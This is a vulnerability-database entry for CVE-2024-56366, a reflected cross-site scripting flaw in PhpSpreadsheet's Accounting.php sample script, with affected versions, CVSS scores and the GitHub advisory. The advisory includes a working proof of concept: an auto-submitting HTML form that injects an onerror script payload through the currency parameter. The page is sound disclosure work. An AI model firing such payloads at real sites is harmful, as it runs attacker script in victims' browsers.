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CVE-2024-56366

UNKNOWN
Published 2025-01-03T17:01:09.701Z
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No CVSS data available

Description

PhpSpreadsheet is a PHP library for reading and writing spreadsheet files. Versions prior to 3.7.0, 2.3.5, 2.1.6, and 1.29.7 are vulnerable to unauthorized reflected cross-site scripting in the `Accounting.php` file. Using the `/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Accounting.php` script, an attacker can perform a cross-site scripting attack. Versions 3.7.0, 2.3.5, 2.1.6, and 1.29.7 contain a patch for the issue.

Available Exploits

No exploits available for this CVE.

Related News

No news articles found for this CVE.

Affected Products

PHPOffice

PhpSpreadsheet

Affected Versions:

>= 3.0.0, < 3.7.0 < 1.29.7 >= 2.0.0, < 2.1.6 >= 2.2.0, < 2.3.5

GitHub Security Advisories

Community-driven vulnerability intelligence from GitHub

✓ GitHub Reviewed HIGH

PhpSpreadsheet allows unauthorized Reflected XSS in the Accounting.php file

GHSA-c6fv-7vh8-2rhr

Advisory Details

# Unauthorized Reflected XSS in the `Accounting.php` file **Product**: Phpspreadsheet **Version**: version 3.6.0 **CWE-ID**: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') **CVSS vector v.3.1**: 8.2 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N) **CVSS vector v.4.0**: 8.3 (AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L) **Description**: using the `/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Accounting.php` script, an attacker can perform a XSS-type attack **Impact**: executing arbitrary JavaScript code in the browser **Vulnerable component**: the `/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Accounting.php` file **Exploitation conditions**: an unauthorized user **Mitigation**: sanitization of the currency variable **Researcher**: Aleksey Solovev (Positive Technologies) # Research The researcher discovered zero-day vulnerability Unauthorized Reflected Cross-Site Scripting (XSS) (in `Accounting.php` file) in Phpspreadsheet. There is no sanitization in the `/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Accounting.php` file, which leads to the possibility of a XSS attack. Strings are formed using the currency parameter without sanitization, which is controlled by the attacker. ![fig7](https://github.com/user-attachments/assets/da0ee52d-2306-4770-a61d-bce4ba553f4f) *Figure 7. A fragment of the query in which a string and a parameter are formed without sanitization* An attacker can prepare a special HTML form that will be automatically sent to the vulnerable scenario. *Listing 4. HTML form that demonstrates the exploitation of the XSS vulnerability* ``` <html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <form action="https://192.***.***.***/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Accounting.php" method="POST"> <input type="hidden" name="number" value="1234&#46;5678" /> <input type="hidden" name="currency" value="&#36;&lt;img&#32;src&#61;1&#32;onerror&#61;alert&#40;&#41;&gt;" /> <input type="hidden" name="decimals" value="2" /> <input type="hidden" name="position" value="1" /> <input type="hidden" name="spacing" value="0" /> <input type="hidden" name="submit" value="Display&#32;Mask" /> <input type="submit" value="Submit request" /> </form> <script> history.pushState('', '', '/'); document.forms[0].submit(); </script> </body> </html> ``` After sending the script provided in Listing 4, the XSS vulnerability is exploited. Figure 8 shows the execution of arbitrary JavaScript code during the submission of a POST form. <img width="460" alt="fig8" src="https://github.com/user-attachments/assets/b009256e-61f7-4d72-8f6a-cc6e0efe2bb1" /> *Figure 8. Executing arbitrary JavaScript code* # Credit This vulnerability was discovered by **Aleksey Solovev (Positive Technologies)**

Affected Packages

Packagist phpoffice/phpspreadsheet
ECOSYSTEM: ≥3.0.0 <3.7.0
Packagist phpoffice/phpspreadsheet
ECOSYSTEM: ≥0 <1.29.7
Packagist phpoffice/phpspreadsheet
ECOSYSTEM: ≥2.0.0 <2.1.6
Packagist phpoffice/phpspreadsheet
ECOSYSTEM: ≥2.2.0 <2.3.5
Packagist phpoffice/phpexcel
ECOSYSTEM: ≥0 ≤1.8.2

CVSS Scoring

CVSS Score

7.5

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N

References

WEB https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-c6fv-7vh8-2rhr
ADVISORY https://nvd.nist.gov/vuln/detail/CVE-2024-56366
WEB https://github.com/PHPOffice/PhpSpreadsheet/commit/700a80346be269af668914172bc6f4521982d0b4
PACKAGE https://github.com/PHPOffice/PhpSpreadsheet

Advisory provided by GitHub Security Advisory Database. Published: January 3, 2025, Modified: March 6, 2025

References

https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-c6fv-7vh8-2rhr
https://github.com/PHPOffice/PhpSpreadsheet/commit/700a80346be269af668914172bc6f4521982d0b4
Published: 2025-01-03T17:01:09.701Z
Last Modified: 2025-01-03T18:15:53.839Z
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